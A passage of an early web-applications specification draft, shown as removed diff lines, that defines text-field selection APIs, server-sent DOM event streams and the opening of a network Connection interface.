-   title=dom-selection-toString><a href="#tostring">toString()</a></code>
-   method.
-
-  <div class=example>
-   <p>In the following document fragment, the emphasised parts indicate the
-    selection.</p>
-
-   <pre>AMPERSANDlt;p>The cute girl likes <em>the </em>AMPERSANDlt;cite><em>Oxford English</em> DictionaryAMPERSANDlt;/cite>.AMPERSANDlt/p></pre>
-
-   <p>If a script invoked <code
-    title="">window.getSelection().toString()</code>, the return value would
-    be "<code>the Oxford English</code>".</p>
-  </div>
-
-  <p class=note>The <code><a href="#selection1">Selection</a></code>
-   interface has no relation to the <code><a
-   href="#datagridselection">DataGridSelection</a></code> interface.
-
-  <h4 id=textFieldSelection><span class=secno>6.6.2. </span>APIs for the text
-   field selections</h4>
-
-  <p class=big-issue>When we define HTMLTextAreaElement and HTMLInputElement
-   we will have to add the IDL given below to both of their IDLs.
-
-  <p>The <code>input</code> and <code>textarea</code> elements define four
-   members in their DOM interfaces for handling their text selection:
-
-  <pre
-   class=idl>  void <a href="#select0" title="dom-textarea/input-select">select</a>();
-           attribute unsigned long <a href="#selectionstart" title="dom-textarea/input-selectionStart">selectionStart</a>;
-           attribute unsigned long <a href="#selectionend" title="dom-textarea/input-selectionEnd">selectionEnd</a>;
-  void <a href="#setselectionrange" title="dom-textarea/input-setSelectionRange">setSelectionRange</a>(in unsigned long start, in unsigned long end);</pre>
-
-  <p>These methods and attributes expose and control the selection of
-   <code>input</code> and <code>textarea</code> text fields.
-
-  <p>The <dfn id=select0
-   title="dom-textarea/input-select"><code>select()</code></dfn> method must
-   cause the contents of the text field to be fully selected.
-
-  <p>The <dfn id=selectionstart
-   title="dom-textarea/input-selectionStart"><code>selectionStart</code></dfn>
-   attribute must, on getting, return the offset (in logical order) to the
-   character that immediately follows the start of the selection. If there is
-   no selection, then it must return the offset (in logical order) to the
-   character that immediately follows the text entry cursor.
-
-  <p>On setting, it must act as if the <code
-   title="dom-textarea/input-setSelectionRange"><a
-   href="#setselectionrange">setSelectionRange()</a></code> method had been
-   called, with the new value as the first argument, and the current value of
-   the <code title="dom-textarea/input-selectionEnd"><a
-   href="#selectionend">selectionEnd</a></code> attribute as the second
-   argument, unless the current value of the <code
-   title="dom-textarea/input-selectionEnd"><a
-   href="#selectionend">selectionEnd</a></code> is less than the new value,
-   in which case the second argument must also be the new value.
-
-  <p>The <dfn id=selectionend
-   title="dom-textarea/input-selectionEnd"><code>selectionEnd</code></dfn>
-   attribute must, on getting, return the offset (in logical order) to the
-   character that immediately follows the end of the selection. If there is
-   no selection, then it must return the offset (in logical order) to the
-   character that immediately follows the text entry cursor.
-
-  <p>On setting, it must act as if the <code
-   title="dom-textarea/input-setSelectionRange"><a
-   href="#setselectionrange">setSelectionRange()</a></code> method had been
-   called, with the current value of the <code
-   title="dom-textarea/input-selectionStart"><a
-   href="#selectionstart">selectionStart</a></code> attribute as the first
-   argument, and new value as the second argument.
-
-  <p>The <dfn id=setselectionrange
-   title="dom-textarea/input-setSelectionRange"><code>setSelectionRange(<var
-   title="">start</var>, <var title="">end</var>)</code></dfn> method must
-   set the selection of the text field to the sequence of characters starting
-   with the character at the <var title="">start</var>th position (in logical
-   order) and ending with the character at the <span>(<var
-   title="">end</var>-1)</span>th position. Arguments greater than the length
-   of the value in the text field must be treated as pointing at the end of
-   the text field. If <var title="">end</var> is less than or equal to <var
-   title="">start</var> then the start of the selection and the end of the
-   selection must both be placed immediately before the character with offset
-   <var title="">end</var>. In UAs where there is no concept of an empty
-   selection, this must set the cursor to be just before the character with
-   offset <var title="">end</var>.
-
-  <div class=example>
-   <p>To obtain the currently selected text, the following JavaScript
-    suffices:</p>
-
-   <pre>var selectionText = control.value.substring(control.selectionStart, control.selectionEnd);</pre>
-
-   <p>...where <var title="">control</var> is the <code>input</code> or
-    <code>textarea</code> element.</p>
-  </div>
-
-  <p>Characters with no visible rendering, such as U+200D ZERO WIDTH JOINER,
-   still count as characters. Thus, for instance, the selection can include
-   just an invisible character, and the text insertion cursor can be placed
-   to one side or another of such a character.
-
-  <p>When these methods and attributes are used with <code>input</code>
-   elements that are not displaying simple text fields, they must raise an
-   <code>INVALID_STATE_ERR</code> exception.
-
-  <h2 id=comms><span class=secno>7. </span>Communication</h2>
-
-  <h3 id=server-sent-events><span class=secno>7.1. </span>Server-sent DOM
-   events</h3>
-
-  <p>This section describes a mechanism for allowing servers to dispatch DOM
-   events into documents that expect it.
-
-  <h4 id=the-event-source><span class=secno>7.1.1. </span>The <dfn
-   id=event-source0><code>event-source</code></dfn> element</h4>
-
-  <p>To specify an event source in an HTML document authors use a new (empty)
-   element <code><a href="#event-source0">event-source</a></code>, with an
-   attribute <code>src=""</code> that takes a URI (or IRI) to open as a
-   stream and, if the data found at that URI is of the appropriate type,
-   treat as an event source.
-
-  <p>The <code><a href="#event-source0">event-source</a></code> element may
-   also have an <code>onevent=""</code> attribute. If present, the attribute
-   must be treated as script representing an event handler registered as
-   non-capture listener of events with name <code>event</code> and the
-   namespace <code>uuid:755e2d2d-a836-4539-83f4-16b51156341f</code> or null,
-   that are targetted at or bubble through the element.
-
-  <p>UAs must also support all the common attributes on the <code><a
-   href="#event-source0">event-source</a></code> element.
-
-  <h4 id=the-remoteeventtarget><span class=secno>7.1.2. </span>The <dfn
-   id=remoteeventtarget0><code>RemoteEventTarget</code></dfn> interface</h4>
-
-  <p>Any object that implements the <code>EventTarget</code> interface shall
-   also implement the <code><a
-   href="#remoteeventtarget1">RemoteEventTarget</a></code> interface.
-
-  <pre
-   class=idl>interface <dfn id=remoteeventtarget1>RemoteEventTarget</dfn> {
-  void addEventSource(in DOMString src);
-  void removeEventSource(in DOMString src);
-};</pre>
-
-  <p>The <dfn id=addeventsource
-   title=addEventSource><code>addEventSource(<var
-   title="">src</var>)</code></dfn> method shall register the URI (or IRI)
-   specified in <var title="">src</var> as an event source on the object. The
-   <dfn id=removeeventsource
-   title=removeEventSource><code>removeEventSource(<var
-   title="">src</var>)</code></dfn> method shall remove the URI (or IRI)
-   specified in <var title="">src</var> from the list of event sources for
-   that object. If a single URI is added multiple times, each instance must
-   be handled individually. Removing a URI must only remove one instance of
-   that URI. If the specified URI cannot be added or removed, the method must
-   return without doing anything or raising an exception.
-
-  <h4 id=processing1><span class=secno>7.1.3. </span>Processing model</h4>
-
-  <p>When an <code><a href="#event-source0">event-source</a></code> element
-   in a document has a <code>src</code> attribute set, the UA should fetch
-   the resource indicated by the attribute's value.
-
-  <p>Similarly, when the <code><a
-   href="#addeventsource">addEventSource()</a></code> method is invoked on an
-   object, the UA should, at the completion of the script's current
-   execution, fetch the resource identified by the method's argument (unless
-   the <code><a href="#removeeventsource">removeEventSource()</a></code> was
-   called removing the URI from the list first).
-
-  <p>When an <code><a href="#event-source0">event-source</a></code> element
-   is removed from the document, or when an event source is removed from the
-   list of event sources for an object using the <code><a
-   href="#removeeventsource">removeEventSource()</a></code> method, the
-   relevant connection must be closed (and not reopened unless the element is
-   returned to the document or the <code><a
-   href="#addeventsource">addEventSource()</a></code> method is called with
-   the same URI again).
-
-  <p class=issue>Should event-source elements be allowed to point to any
-   remote server, or only origin hosts?
-
-  <p>Since connections established to remote servers for such resources are
-   expected to be long-lived, UAs should ensure that appropriate buffering is
-   used. In particular, while line buffering may be safe if lines are defined
-   to end with a single U+000A LINE FEED character, block buffering or line
-   buffering with different expected line endings can cause delays in event
-   dispatch.
-
-  <p>In general, the semantics of the transport protocol specified by the
-   "src" attribute must be followed. Clients should re-open <code><a
-   href="#event-source0">event-source</a></code> connections that get closed
-   after a short interval (such as 5 seconds), unless they were closed due to
-   problems that aren't expected to be resolved, as described in this
-   section.
-
-  <p>DNS errors must be considered fatal, and cause the user agent to not
-   open any connection for the event-source.
-
-  <p>HTTP 200 OK responses that have a Content-Type other than
-   <code>application/x-dom-event-stream</code> must be ignored and must
-   prevent the user agent from reopening the connection for that
-   event-source. HTTP 200 OK responses with the right MIME type, however,
-   should, when closed, be reopened after a small delay.
-
-  <p>Resource with the type <code>application/x-dom-event-stream</code> must
-   be processed line by line <a href="#event-stream-interpretation">as
-   described below</a>.
-
-  <p>HTTP 201 Created, 202 Accepted, 203 Non-Authoritative Information, and
-   206 Partial Content responses must be treated like HTTP 200 OK responses
-   for the purposes of reopening event-source connections. They are, however,
-   likely to indicate an error has occurred somewhere and may cause the user
-   agent to emit a warning.
-
-  <p>HTTP 204 No Content, and 205 Reset Content responses must be treated as
-   if they were 200 OK responses with the right MIME type but no content, and
-   should therefore cause the user agent to reopen the connection after a
-   short delay.
-
-  <p>HTTP 300 Multiple Choices responses should be handled automatically if
-   possible (treating the responses as if they were 302 Moved Permanently
-   responses pointing to the appropriate resource), and otherwise must be
-   treated as HTTP 404 responses.
-
-  <p>HTTP 301 Moved Permanently responses must cause the user agent to use
-   the server specified URI instead of the one specified in the
-   event-source's "src" attribute for future connections.
-
-  <p>HTTP 302 Found, 303 See Other, and 307 Temporary Redirect responses must
-   cause the user agent to use the server specified URI instead of the one
-   specified in the event-source's "src" attribute for the next connection,
-   but if the user agent needs to reopen the connection at a later point, it
-   must once again start from the "src" attribute (or the last URI given by a
-   301 Moved Permanently response in complicated cases where such responses
-   are chained).
-
-  <p>HTTP 304 Not Modified responses should be handled like HTTP 200 OK
-   responses, with the content coming from the user agent cache. A new
-   connection attempt should then be made after a short wait.
-
-  <p>HTTP 305 Use Proxy, HTTP 401 Unauthorized, and 407 Proxy Authentication
-   Required should be treated transparently as for any other subresource.
-
-  <p>HTTP 400 Bad Request, 403 Forbidden, 404 Not Found, 405 Method Not
-   Allowed, 406 Not Acceptable, 408 Request Timeout, 409 Conflict, 410 Gone,
-   411 Length Required, 412 Precondition Failed, 413 Request Entity Too
-   Large, 414 Request-URI Too Long, 415 Unsupported Media Type, 416 Requested
-   Range Not Satisfiable, 417 Expectation Failed, 500 Internal Server Error,
-   501 Not Implemented, 502 Bad Gateway, 503 Service Unavailable, 504 Gateway
-   Timeout, and 505 HTTP Version Not Supported responses, and any other HTTP
-   response code not listed here, should cause the user agent to stop trying
-   to process this event-source element.
-
-  <p>For non-HTTP protocols, UAs should act in equivalent ways.
-
-  <h4 id=the-event><span class=secno>7.1.4. </span>The event stream format</h4>
-
-  <p>The event stream MIME type is
-   <code>application/x-dom-event-stream</code>.
-
-  <p>The event stream must always be encoded as UTF-8. Line must always be
-   terminated by a single U+000A LINE FEED character.
-
-  <p>The event stream format is (in pseudo-BNF):
-
-  <pre>AMPERSANDlt;streamAMPERSANDgt;  ::= AMPERSANDlt;eventAMPERSANDgt;*
-AMPERSANDlt;eventAMPERSANDgt;   ::= [ AMPERSANDlt;commentAMPERSANDgt; | AMPERSANDlt;commandAMPERSANDgt; | AMPERSANDlt;fieldAMPERSANDgt; ]* AMPERSANDlt;newlineAMPERSANDgt;
-
-AMPERSANDlt;commentAMPERSANDgt; ::= ';' AMPERSANDlt;dataAMPERSANDgt; AMPERSANDlt;newlineAMPERSANDgt;
-AMPERSANDlt;commandAMPERSANDgt; ::= ':' AMPERSANDlt;dataAMPERSANDgt; AMPERSANDlt;newlineAMPERSANDgt;
-AMPERSANDlt;fieldAMPERSANDgt;   ::= AMPERSANDlt;nameAMPERSANDgt; [ ':' AMPERSANDlt;spaceAMPERSANDgt;? AMPERSANDlt;dataAMPERSANDgt; ]? AMPERSANDlt;newlineAMPERSANDgt;
-
-AMPERSANDlt;nameAMPERSANDgt;    ::= one or more UNICODE characters other than ':', ';', and U+000A LINE FEED
-AMPERSANDlt;dataAMPERSANDgt;    ::= zero or more UNICODE characters other than U+000A LINE FEED
-AMPERSANDlt;spaceAMPERSANDgt;   ::= a single U+0020 SPACE character (' ')
-AMPERSANDlt;newlineAMPERSANDgt; ::= a single U+000A LINE FEED character</pre>
-
-  <p>Bytes that are not valid UTF-8 sequences must be interpreted as the
-   U+FFFD REPLACEMENT CHARACTER.
-
-  <p>The stream is parsed by reading everything line by line, in blocks
-   separated by blank lines (blank lines are those consisting of just a
-   single lone line feed character). Comment lines (those starting with the
-   character ';') and command lines (those starting with the character ':')
-   are ignored. Command lines are reserved for future use and should not be
-   used.
-
-  <p>For each non-blank, non-comment line, the field name is first taken.
-   This is everything on the line up to but not including the first colon
-   (':') or the line feed, whichever comes first. Then, if there was a colon,
-   the data for that line is taken. This is everything after the colon,
-   ignoring a single space after the colon if there is one, up to the end of
-   the line. If there was no colon the data is the empty string.
-
-  <div class=example>
-   <p>Examples:</p>
-
-   <pre>Field name: Field data</pre>
-
-   <pre>This is a blank field</pre>
-
-   <pre>1. These two lines: have the same data
-2. These two lines:have the same data</pre>
-
-   <pre>1. But these two lines:  do not
-2. But these two lines: do not</pre>
-  </div>
-
-  <p>If a field name occurs multiple times, the data values for those lines
-   are concatenated with a newline between them.
-
-  <div class=example>
-   <p>For example, the following:</p>
-
-   <pre>Test: Line 1
-Foo: Bar
-Test: Line 2</pre>
-
-   <p>...is treated as having two fields, one called <code>Test</code> with
-    the value <code>Line 1\nLine 2</code> (where <code>\n</code> represents a
-    newline), and one called <code>Foo</code> with the value <code>
-    Bar</code>.</p>
-  </div>
-
-  <p class=note>Since any random stream of characters matches the above
-   format, there is no need to define any error handling.
-
-  <h4 id=event-stream-interpretation><span class=secno>7.1.5. </span>Event
-   stream interpretation</h4>
-
-  <p>Once the fields have been parsed, they are interpreted as follows (these
-   are case-sensitive exact comparisons):
-
-  <ul>
-   <li>
-    <p><code title="">Event</code> is the name of the event. For example,
-     <code title="">load</code>, <code title="">DOMActivate</code>, <code
-     title="">updateTicker</code>. If there is no field with this name, then
-     no event will be synthesised, and the other data will be ignored.
-
-   <li>
-    <p><code title="">Namespace</code> is the DOM3 namespace for the event.
-     For normal DOM events this would be <code
-     title="">http://www.w3.org/2001/xml-events</code>. If it isn't specified
-     the event namespace is null.
-
-   <li>
-    <p><code title="">Class</code> is the interface used for the event, for
-     instance <code>Event</code>, <code>UIEvent</code>,
-     <code>MutationEvent</code>, <code>KeyboardEvent</code>, etc. For
-     compatibility with DOM3 Events, the values <code
-     title="">UIEvents</code>, <code title="">MouseEvents</code>, <code
-     title="">MutationEvents</code>, and <code title="">HTMLEvents</code> are
-     valid values and must be treated respectively as meaning the interfaces
-     <code>UIEvent</code>, <code>MouseEvent</code>,
-     <code>MutationEvent</code>, and <code>Event</code>. (This value can
-     therefore be used as the argument to <code
-     title="">createEvent()</code>.) If the value is not specified it is
-     defaulted based on the event name as follows:</p>
-
-    <ul>
-     <li>
-      <p>If <code title="">Namespace</code> is <code
-       title="">http://www.w3.org/2001/xml-events</code> or null and the
-       <code title="">Event</code> field exactly matches one of the events
-       specified by DOM3 Events in <a
-       href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-EventTypes-complete">section
-       1.4.2 "Complete list of event types"</a>, then the Class defaults to
-       the interface relevant for that event type. <a
-       href="#refsDOM3EVENTS">[DOM3EVENTS]</a></p>
-
-      <div class=example>
-       <p>For example:</p>
-
-       <pre>Event: click</pre>
-
-       <p>...would cause <code title="">Class</code> to be treated as
-        <code>MouseEvent</code>.</p>
-      </div>
-
-     <li>
-      <p>If <code title="">Namespace</code> is
-       <code>uuid:755e2d2d-a836-4539-83f4-16b51156341f</code> or null and the
-       <code title="">Event</code> doesn't match any of the known events,
-       then the <code><a href="#remoteevent">RemoteEvent</a></code> interface
-       (described below) is used.
-
-     <li>
-      <p>Otherwise, if the UA doesn't have special knowledge of which class
-       to use for the given event in the given namespace, then the
-       <code>Event</code> interface is used.
-    </ul>
-
-    <p>It is quite possible to give the wrong class for an event. This is
-     equivalent to creating an event in the DOM using the DOM Event APIs, but
-     using the wrong interface for it.</p>
-
-   <li>
-    <p><code title="">Bubbles</code> specifies whether the event is to
-     bubble. If it is specified and has the value <code title="">No</code>,
-     the event does not bubble. If it is specified and has any other value
-     (including <code title="">no</code> or <code title="">No\n</code>) then
-     the event bubbles. If it is not specified it is defaulted based on the
-     event name as follows:</p>
-
-    <ul>
-     <li>
-      <p>If <code title="">Namespace</code> is <code
-       title="">http://www.w3.org/2001/xml-events</code> or null and the
-       <code title="">Event</code> field exactly matches one of the events
-       specified by DOM3 Events in <a
-       href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-EventTypes-complete">section
-       1.4.2 "Complete list of event types"</a>, then whether the event
-       bubbles depends on whether the DOM3 Events spec specifies that that
-       event should bubble or not. <a href="#refsDOM3EVENTS">[DOM3EVENTS]</a></p>
-
-      <div class=example>
-       <p>For example:</p>
-
-       <pre>Event: load</pre>
-
-       <p>...would cause <code title="">Bubbles</code> to be treated as <code
-        title="">No</code>.</p>
-      </div>
-
-     <li>
-      <p>Otherwise, if the UA doesn't have special knowledge of which class
-       to use for the given event in the given namespace, then the event
-       bubbles.
-    </ul>
-
-   <li>
-    <p><code title="">Cancelable</code> specifies whether the event may have
-     its default action prevented. If it is specified and has the value <code
-     title="">No</code>, the event may not have its default action prevented.
-     If it is specified and has any other value (including <code
-     title="">no</code> or <code title="">No\n</code>) then the event may be
-     canceled. If it is not specified it is defaulted based on the event name
-     as follows:</p>
-
-    <ul>
-     <li>
-      <p>If <code title="">Namespace</code> is <code
-       title="">http://www.w3.org/2001/xml-events</code> or null and the
-       <code title="">Event</code> field exactly matches one of the events
-       specified by DOM3 Events in <a
-       href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-EventTypes-complete">section
-       1.4.2 "Complete list of event types"</a>, then whether the event is
-       cancelable depends on whether the DOM3 Events spec specifies that that
-       event should be cancelable or not. <a
-       href="#refsDOM3EVENTS">[DOM3EVENTS]</a></p>
-
-      <div class=example>
-       <p>For example:</p>
-
-       <pre>Event: load</pre>
-
-       <p>...would cause <code title="">Cancelable</code> to be treated as
-        <code title="">No</code>.</p>
-      </div>
-
-     <li>
-      <p>Otherwise, if the UA doesn't have special knowledge of which class
-       to use for the given event in the given namespace, then the event may
-       be canceled.
-    </ul>
-
-   <li>
-    <p><code title="">Target</code> is the element that the event is to be
-     dispatched on. If its value starts with a <code title="">#</code>
-     character then the remainder of the value represents an ID, and the
-     event must be dispatched on the same node as would be obtained by the
-     <code title="">getElementById()</code> method on the ownerDocument of
-     the event-source element responsible for the event being dispatched.</p>
-
-    <div class=example>
-     <p>For example,</p>
-
-     <pre>Target: #test</pre>
-
-     <p>...would target the element with ID <code title="">test</code>.</p>
-    </div>
-
-    <p>If the value does not start with a <code title="">#</code> but has the
-     literal value <code>Document</code>, then the event is dispatched at the
-     <code title="">ownerDocument</code> of the <code><a
-     href="#event-source0">event-source</a></code> element responsible for
-     the event being dispatched.</p>
-
-    <p>Otherwise, the event is dispatched at the <code><a
-     href="#event-source0">event-source</a></code> element itself.
-
-   <li>
-    <p>Other fields depend on the interface specified (or possibly implied)
-     by the <code title="">Class</code> field. If the specified interface has
-     an attribute that exactly matches the name of the field, and the value
-     of the field can be converted (using the type conversions defined in
-     ECMAScript) to the type of the attribute, then it must be used. Any
-     attributes (other than the <code>Event</code> interface attributes) that
-     do not have matching fields are initialised to zero, null, false, or the
-     empty string.</p>
-
-    <div class=example>
-     <p>For example:</p>
-
-     <pre>; ...some other fields...
-Class: MouseEvent
-button: 2</pre>
-
-     <p>...would result in a MouseEvent event that had <code>button</code>
-      set to <code title="">2</code> but <code>screenX</code>,
-      <code>screenY</code>, etc, set to 0, false, or null as appropriate.</p>
-    </div>
-
-    <p>If a field does not match any of the attributes on the event, it is
-     ignored.</p>
-
-    <div class=example>
-     <p>For example:</p>
-
-     <pre>Event: keypress
-Class: MouseEvent
-keyIdentifier: 0</pre>
-
-     <p>...would result in a <code>MouseEvent</code> event with its fields
-      all at their default values, with the event name being <code
-      title="">keypress</code>. The <code>ctrlKey</code> field would be
-      ignored. (If the author had not included the <code
-      title="">Class</code> field explicitly, it would have just worked,
-      since the class would have defaulted as described above.)</p>
-    </div>
-  </ul>
-
-  <p>Once a blank line is reached, an event of the appropriate type is
-   synthesized and dispatched to the appropriate node as described by the
-   fields above. No event is dispatched until a blank line has been received.
-
-  <p>If the <code title="">Event</code> field was omitted, then no event is
-   synthesised and the data is ignored.
-
-  <div class=example>
-   <p>The following stream contains four blocks yet synthesises no events,
-    since none of the blocks have a field called <code title="">Event</code>.
-    (The first block has just a comment, the second block has two fields with
-    names "load" and "Target" respectively, the third block is empty, and the
-    fourth block has two comments.)</p>
-
-   <pre>; test
-
-load
-Target: #image1
-
-
-; if any real events follow this block, they will not be affected by
-; the "Target" and "load" fields above.
-</pre>
-  </div>
-
-  <h4 id=the-remoteevent><span class=secno>7.1.6. </span>The <code><a
-   href="#remoteevent">RemoteEvent</a></code> interface</h4>
-
-  <p>The <code><a href="#remoteevent">RemoteEvent</a></code> interface is
-   defined as follows:
-
-  <pre class=idl>interface <dfn id=remoteevent>RemoteEvent</dfn> : Event {
-  readonly attribute DOMString <span title=dom-RemoteEvent-data>data</span>;
-  void <span title=dom-RemoteEvent-initRemoteEvent>initRemoteEvent</span>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);
-  void <span title=dom-RemoteEvent-initRemoteEventNS>initRemoteEventNS</span>(in DOMString namespaceURI, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);
-};</pre>
-  <!-- XXX definitions missing in this section -->
-
-  <p>Events that use the <code><a href="#remoteevent">RemoteEvent</a></code>
-   interface never have any default action associated with them.
-
-  <p class=big-issue>I guess we should define those members.
-
-  <h4 id=example><span class=secno>7.1.7. </span>Example</h4>
-
-  <div class=example>
-   <p>The following event description, once followed by a blank line:</p>
-
-   <pre>Event: stock change
-data: YHOO
-data: -2
-data: 10</pre>
-
-   <p>...would cause an event <code>stock change</code> with the interface
-    <code><a href="#remoteevent">RemoteEvent</a></code> to be dispatched on
-    the <code><a href="#event-source0">event-source</a></code> element, which
-    would then bubble up the DOM, and whose <code>data</code> attribute would
-    contain the string <code>YHOO\n-2\n10</code> (where <code>\n</code> again
-    represents a newline).</p>
-
-   <p>This could be used as follows:
-
-   <pre>AMPERSANDlt;event-source src="http://stocks.example.com/ticker.php" id="stock"AMPERSANDgt;
-AMPERSANDlt;script type="text/javascript"AMPERSANDgt;
-document.getElementById('stock').addEventListener('stock change',
-  function () {
-    var data = event.data.split('\n');
-    updateStocks(data[0], data[1], data[2]);
-  }, false);
-AMPERSANDlt;/scriptAMPERSANDgt</pre>
-
-   <p>...where updateStocks is a function defined as:
-
-   <pre>function updateStocks(symbol, delta, value) { ... }</pre>
-
-   <p>...or some such.</p>
-  </div>
-
-  <h3 id=network><span class=secno>7.2. </span>Network connections</h3>
-
-  <p>To enable Web applications to communicate with each other in local area
-   networks, and to maintain bidirectional communications with their
-   originating server, this specification introduces the <code><a
-   href="#connection0">Connection</a></code> interface.
-
-  <p>The <code><a href="#windowhtml">WindowHTML</a></code> interface provides
-   three constructors for creating <code><a
-   href="#connection0">Connection</a></code> objects: <code
-   title=dom-TCPConnection><a
-   href="#tcpconnection">TCPConnection()</a></code>, for creating a direct
-   (possibly encrypted) link to another node on the Internet using TCP/IP;
-   <code title=dom-LocalBroadcastConnection><a
-   href="#localbroadcastconnection">LocalBroadcastConnection()</a></code>,
-   for creating a connection to any listening peer on a local network (which
-   could be a local TCP/IP subnet using UDP, a Bluetooth PAN, or another kind
-   of network infrastructure); and <code title=dom-PeerToPeerConnection><a
-   href="#peertopeerconnection">PeerToPeerConnection()</a></code>, for a
-   direct peer-to-peer connection (which could again be over TCP/IP,
-   Bluetooth, IrDA, or some other type of network).
-
-  <p class=note>This interface does not allow for raw access to the
-   underlying network. For example, this interface could not be used to
-   implement an IRC client without proxying messages through a custom server.
-
-  <h4 id=network-intro><span class=secno>7.2.1. </span>Introduction</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p class=big-issue>An introduction to the client-side and server-side of
-   using the direct connection APIs.
-
-  <p class=big-issue>An example of a party-line implementation of a broadcast
-   service, and direct peer-to-peer chat for direct local connections.</p>
-  <!--
-    <div class="example">
-     <p>The following script creates a connection to a local party
-     line:</p>
-     <pre>var a = new LocalBroadcastConnection();
-  a.onread = function(e) { alert(e.source + ' wrote ' + e.data); }
-  a.send('hello');</pre>
-    </div>
--->
-  <!--XXX
-   Explain why we don't use HTTP instead of our own protocol: wouldn't
-   work for peer-to-peer, too much work to implement server if you
-   have to implement a compliant HTTP server as well, etc
-  -->
-
-  <h4 id=the-connection><span class=secno>7.2.2. </span>The <code><a
-   href="#connection0">Connection</a></code> interface</h4>
-
-  <pre class=idl>interface <dfn id=connection0>Connection</dfn> {
-  readonly attribute DOMString <a href="#network0" title=dom-Connection-network>network</a>;
-  readonly attribute DOMString <a href="#peer" title=dom-Connection-peer>peer</a>;
-  readonly attribute int <a href="#readystate" title=dom-Connection-readyState>readyState</a>;
-           attribute EventListener <a href="#onopen" title=dom-Connection-onopen>onopen</a>;
-           attribute EventListener <a href="#onread" title=dom-Connection-onread>onread</a>;
-           attribute EventListener <a href="#onclose" title=dom-Connection-onclose>onclose</a>;
-  void <a href="#send" title=dom-Connection-send>send</a>(in DOMString data);
-  void <a href="#disconnect" title=dom-Connection-disconnect>disconnect</a>();
-};</pre>
-
-  <p><code><a href="#connection0">Connection</a></code> objects must also
-   implement the <code>EventTarget</code> interface. <a
-   href="#refsDOM3EVENTS">[DOM3EVENTS]</a>
-
-  <p>When a <code><a href="#connection0">Connection</a></code> object is
-   created, the UA must try to establish a connection, as described in the
-   sections below describing each connection type.
-
-  <p>The <dfn id=network0
-   title=dom-Connection-network><code>network</code></dfn> attribute
-   represents the name of the network connection (the value depends on the
-   kind of connection being established). The <dfn id=peer
-   title=dom-Connection-peer><code>peer</code></dfn> attribute identifies the
-   remote host for direct (non-broadcast) connections.
-
-  <p>The <code title=dom-Connection-network><a
-   href="#network0">network</a></code> attribute must be set as soon as the
-   <code><a href="#connection0">Connection</a></code> object is created, and
-   keeps the same value for the lifetime of the object. The <code
-   title=dom-Connection-peer><a href="#peer">peer</a></code> attribute must
-   initially be set to the empty string and must be updated once, when the
-   connection is established, after which point it must keep the same value
-   for the lifetime of the object.
-
-  <p>The <dfn id=readystate
-   title=dom-Connection-readyState><code>readyState</code></dfn> attribute
-   represents the state of the connection. When the object is created it must
-   be set to 0. It can have the following values:
-
-  <dl>
-   <dt>0 Connecting
-
-   <dd>The connection has not yet been established.
-
-   <dt>1 Connected
-
-   <dd>The connection is established and communication is possible.
-
-   <dt>2 Closed
-
-   <dd>The connection has been closed.
-  </dl>
-
-  <p id=openConnection>Once a connection is established, the <code
-   title=dom-Connection-readyState><a
-   href="#readystate">readyState</a></code> attribute's value must be changed
-   to 1, and the <code title=event-connection-open><a
-   href="#open2">open</a></code> event must be fired on the <code><a
-   href="#connection0">Connection</a></code> object.
-
-  <p>When data is received, the <code title=event-connection-read><a
-   href="#read">read</a></code> event will be fired on the <code><a
-   href="#connection0">Connection</a></code> object.</p>
-  <!-- conf crit for this
-  statement is in the various protocol-specific sections below. -->
-
-  <p id=closeConnection>When the connection is closed, the <code
-   title=dom-Connection-readyState><a
-   href="#readystate">readyState</a></code> attribute's value must be changed
-   to 2, and the <code title=event-connection-close><a
-   href="#close0">close</a></code> event must be fired on the <code><a
-   href="#connection0">Connection</a></code> object.
-
-  <p>The <dfn id=onopen
-   title=dom-Connection-onopen><code>onopen</code></dfn>, <dfn id=onread
-   title=dom-Connection-onread><code>onread</code></dfn>, and <dfn id=onclose
-   title=dom-Connection-onclose><code>onclose</code></dfn> attributes must,
-   when set, register their new value as an event listener for their
-   respective events (namely <code title=event-connection-open><a
-   href="#open2">open</a></code>, <code title=event-connection-read><a
-   href="#read">read</a></code>, and <code title=event-connection-close><a
-   href="#close0">close</a></code>), and unregister their previous value if
-   any.
-
-  <p>The <dfn id=send title=dom-Connection-send><code>send()</code></dfn>
-   method transmits data using the connection. If the connection is not yet
-   established, it must raise an <code>INVALID_STATE_ERR</code> exception. If
-   the connection <em>is</em> established, then the behaviour depends on the
-   connection type, as described below.
-
-  <p>The <dfn id=disconnect
-   title=dom-Connection-disconnect><code>disconnect()</code></dfn> method
-   must close the connection, if it is open. If the connection is already
-   closed, it must do nothing. Closing the connection causes a <code
-   title=event-connection-close><a href="#close0">close</a></code> event to
-   be fired and the <code title=dom-Connection-readyState><a
-   href="#readystate">readyState</a></code> attribute's value to change, as
-   <a href="#closeConnection">described above</a>.
-
-  <h4 id=connection><span class=secno>7.2.3. </span>Connection Events</h4>
-
-  <p>All the events described in this section are events in the
-   <code>http://www.w3.org/2001/xml-events</code> namespace, which do not
-   bubble, are not cancelable, and have no default action.
-
-  <p>The <dfn id=open2 title=event-connection-open><code>open</code></dfn>
-   event is fired when the connection is established. UAs must use the normal
-   <code>Event</code> interface when firing this event.
-
-  <p>The <dfn id=close0 title=event-connection-close><code>close</code></dfn>
-   event is fired when the connection is closed (whether by the author,
-   calling the <code title=dom-Connection-disconnect><a
-   href="#disconnect">disconnect()</a></code> method, or by the server, or by
-   a network error). UAs must use the normal <code>Event</code> interface
-   when firing this event as well.
-
-  <p class=note>No information regarding why the connection was closed is
-   passed to the application in this version of this specification.
-
-  <p>The <dfn id=read title=event-connection-read><code>read</code></dfn>
-   event is fired when when data is received for a connection. UAs must use
-   the <code><a href="#connectionreadevent">ConnectionReadEvent</a></code>
-   interface for this event.
-
-  <pre
-   class=idl>interface <dfn id=connectionreadevent>ConnectionReadEvent</dfn> : Event {
-  readonly attribute DOMString <a href="#data4" title=dom-ConnectionReadEvent-data>data</a>;
-  readonly attribute DOMString <a href="#source0" title=dom-ConnectionReadEvent-source>source</a>;
-  void <a href="#initconnectionreadevent" title=dom-ConnectionReadEvent-initConnectionReadEvent>initConnectionReadEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);
